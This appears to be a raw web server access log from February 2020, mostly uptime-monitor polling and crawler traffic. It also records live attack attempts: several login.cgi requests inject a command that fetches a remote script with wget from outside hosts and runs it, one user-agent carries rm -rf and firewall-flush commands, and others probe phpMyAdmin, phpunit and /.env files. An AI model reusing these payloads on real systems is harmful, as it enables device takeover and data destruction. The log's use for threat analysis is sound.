192.95.29.220 - - [26/Feb/2020:22:09:53 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:22:10:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [26/Feb/2020:22:11:01 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:22:11:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [26/Feb/2020:22:12:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
51.254.59.113 - - [26/Feb/2020:22:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:22:12:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.153.113.101 - - [26/Feb/2020:22:12:57 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [26/Feb/2020:22:12:57 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [26/Feb/2020:22:12:57 +0100] "GET /scripte/all_scripts.js HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
212.91.246.72 - - [26/Feb/2020:22:13:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [26/Feb/2020:22:14:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [26/Feb/2020:22:14:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [26/Feb/2020:22:14:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:22:14:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [26/Feb/2020:22:14:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [26/Feb/2020:22:15:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:22:15:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:16:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.201.96 - - [26/Feb/2020:22:17:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [26/Feb/2020:22:17:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:18:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.19.36.114 - - [26/Feb/2020:22:19:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:22:19:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:20:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.143.158.178 - - [26/Feb/2020:22:21:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:22:21:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.54.246.68 - - [26/Feb/2020:22:21:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:22:22:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:23:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [26/Feb/2020:22:23:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [26/Feb/2020:22:23:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [26/Feb/2020:22:24:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [26/Feb/2020:22:24:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [26/Feb/2020:22:24:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:22:24:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:25:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.239.94.113 - - [26/Feb/2020:22:26:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [26/Feb/2020:22:26:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:27:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:28:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:29:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:30:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:31:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:32:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.6 - - [26/Feb/2020:22:33:01 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:22:33:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:34:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:35:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:36:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.42 - - [26/Feb/2020:22:37:44 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:22:37:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
96.127.169.2 - - [26/Feb/2020:22:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:22:38:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.136.253.174 - - [26/Feb/2020:22:38:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [26/Feb/2020:22:39:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:40:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:41:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:42:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
23.254.36.12 - - [26/Feb/2020:22:42:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
23.254.36.12 - - [26/Feb/2020:22:42:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:22:43:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:44:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:45:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:46:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:47:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.51.28.222 - - [26/Feb/2020:22:48:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.51.28.222 - - [26/Feb/2020:22:48:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:22:48:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:49:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:50:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:51:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:52:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:53:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:54:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:55:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:56:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:57:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:58:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:59:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.254.103.128 - - [26/Feb/2020:23:00:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:23:00:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:01:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.34.194.7 - - [26/Feb/2020:23:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:23:02:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:03:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:04:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:05:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.183.36.160 - - [26/Feb/2020:23:06:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:23:06:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.102.11.187 - - [26/Feb/2020:23:06:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
84.102.11.187 - - [26/Feb/2020:23:07:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
128.14.140.150 - - [26/Feb/2020:23:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:23:07:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:08:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:09:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:10:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:11:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.163.144.151 - - [26/Feb/2020:23:12:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:23:12:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:13:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:14:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:15:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:16:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:17:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:18:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.32.61.244 - - [26/Feb/2020:23:19:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.52.45.66 - - [26/Feb/2020:23:19:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:23:19:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:20:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:21:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:22:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:23:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
165.22.208.167 - - [26/Feb/2020:23:24:00 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
165.22.208.167 - - [26/Feb/2020:23:24:00 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
165.22.208.167 - - [26/Feb/2020:23:24:00 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
165.22.208.167 - - [26/Feb/2020:23:24:01 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
165.22.208.167 - - [26/Feb/2020:23:24:01 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
165.22.208.167 - - [26/Feb/2020:23:24:01 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
212.91.246.72 - - [26/Feb/2020:23:24:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:25:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:26:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.35.53.86 - - [26/Feb/2020:23:27:12 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:23:27:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:28:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:29:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:30:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:31:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:32:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:33:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:34:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:35:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.242.246.210 - - [26/Feb/2020:23:36:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:23:36:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:37:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:38:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:39:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:40:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.15.189 - - [26/Feb/2020:23:41:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
18.144.15.189 - - [26/Feb/2020:23:41:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
18.144.15.189 - - [26/Feb/2020:23:41:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
18.144.15.189 - - [26/Feb/2020:23:41:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
18.144.15.189 - - [26/Feb/2020:23:41:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
212.91.246.72 - - [26/Feb/2020:23:41:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.34.162.64 - - [26/Feb/2020:23:42:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:23:42:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:43:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:44:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:45:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:46:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:47:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:48:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.217.126.1 - - [26/Feb/2020:23:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:23:49:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
